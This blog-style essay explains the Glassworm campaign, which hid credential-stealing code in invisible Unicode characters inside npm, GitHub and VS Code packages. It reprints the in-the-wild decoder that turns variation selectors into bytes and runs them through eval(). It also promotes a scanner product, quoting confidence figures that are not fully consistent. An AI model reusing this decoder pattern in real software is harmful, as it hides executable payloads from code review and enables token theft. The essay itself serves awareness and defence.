I was at dinner with my friends and someone asked me what I did for work. I told her I read about computers going wrong. She said that sounded sad. She wasn't wrong.
This is a story about some code that is invisible. Not metaphorically invisible. Actually invisible. You could look right at it and see nothing. Your computer sees everything, and thats the problem.
A group of researchers at a company called Aikido Security found it. They named the malicious attack Glassworm. Between March 3rd and March 9th of this year 2026, Glassworm put at least 151 bad packages into places where developers go to find code: GitHub, npm, and the VS Code marketplace. The packages looked completely fine. They were not fine.
Based on reporting from Aikido Security and Ars Technica, here is how it works:
Unicode uses something called Variation Selectors. There are characters in the Unicode standard library which are completely invisible. Editors don't show them. Terminals don't show them. Code review tools don't show them. The Unicode spec says this is correct behavior. The editors aren't broken; they're following the rules.
But the JavaScript runtime can read them just fine. And if you know which ones map to which letters, you can write a whole program in them. A program nobody can see.
Here is the exact decoder found in the wild:
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));
That empty space in the backticks is not empty. It is full of invisible characters. Run it and you get a program that steals your tokens and credentials and sends them to a Solana blockchain address, a detail that feels like the kind of thing someone would come up with at two in the morning and feel very clever about.
The Timeline of a Ghost Worm
- Mar 2025: Aikido finds the first invisible packages on npm. They write about it.
- May 2025: Aikido publishes a full explanation. Now everyone knows including Glassworm.
- Oct 2025: The same trick appears in the VS Code marketplace and GitHub.
- Mar 2026: 151 repositories hit. Three ecosystems at once. The cover commits are so well-written it's likely Glassworm is using AI to blend in.
Could better scanning have stopped this? Maybe. Glassworm's whole approach is to respond to what gets detected and change. Despite systems like Bad Character Scanner™ offering invisible character detection, adoption across the industry remains slow.
The Scanner Audit
We put the Glassworm decoder sample from Aikido Security through the free demo at Bad Character Scanner™. The results were telling.
It caught the eval() at position 188 with 94% confidence. "That's the gun". However, it only "sort of" caught the invisible payload, "the bullet". Some of it made it through undetected.
The scanner estimated that there might be around 220 additional hidden characters (the payload), but only had 7% confidence in this estimate. This reflects the reality of the 4.3.1 era. In the world of invisible characters, humility is a requirement. While we've updated the engine to v4.3.2 specifically to catch these Glassworm signatures with much higher confidence, we have to be honest: the defense is a snapshot in time. Tomorrow, Glassworm will change their encoding, or use a different Unicode block, and that 99% confidence might drop back down to 7% until we adapt again. It is a constant game of cat and mouse.
The Moving Target
By Bad Character Scanner's own honest accounting, even the best detection catches about sixty percent of what an advanced poisoned-AI (LLM) can produce.
[DETECTION_METRIC]
CAUGHT: 60%
UNDETECTED: 40%
This is likely the best publicly available tool right now. They say so themselves. That honesty is rarer than it should be in this industry.
So... what do you do?
- Look twice at any
eval() working on something that looks empty.
- Run your dependencies through scanning tools, but understand the results are a starting line, not a finish line.
- Treat a low-confidence flag as a reason to look. Every single time.
The defenders are doing their best, but the target keeps moving. The compilers keep changing. It's a strange time to be writing software. We just don't always know what we see is all there is to see...
Sources: Aikido Security, Ilyas Makari (March 13, 2026); Dan Goodin, Ars Technica (March 13, 2026). The 7% confidence scope estimate reflects non-deterministic static modelling. BCSC prevention speculation in the timeline is editorial.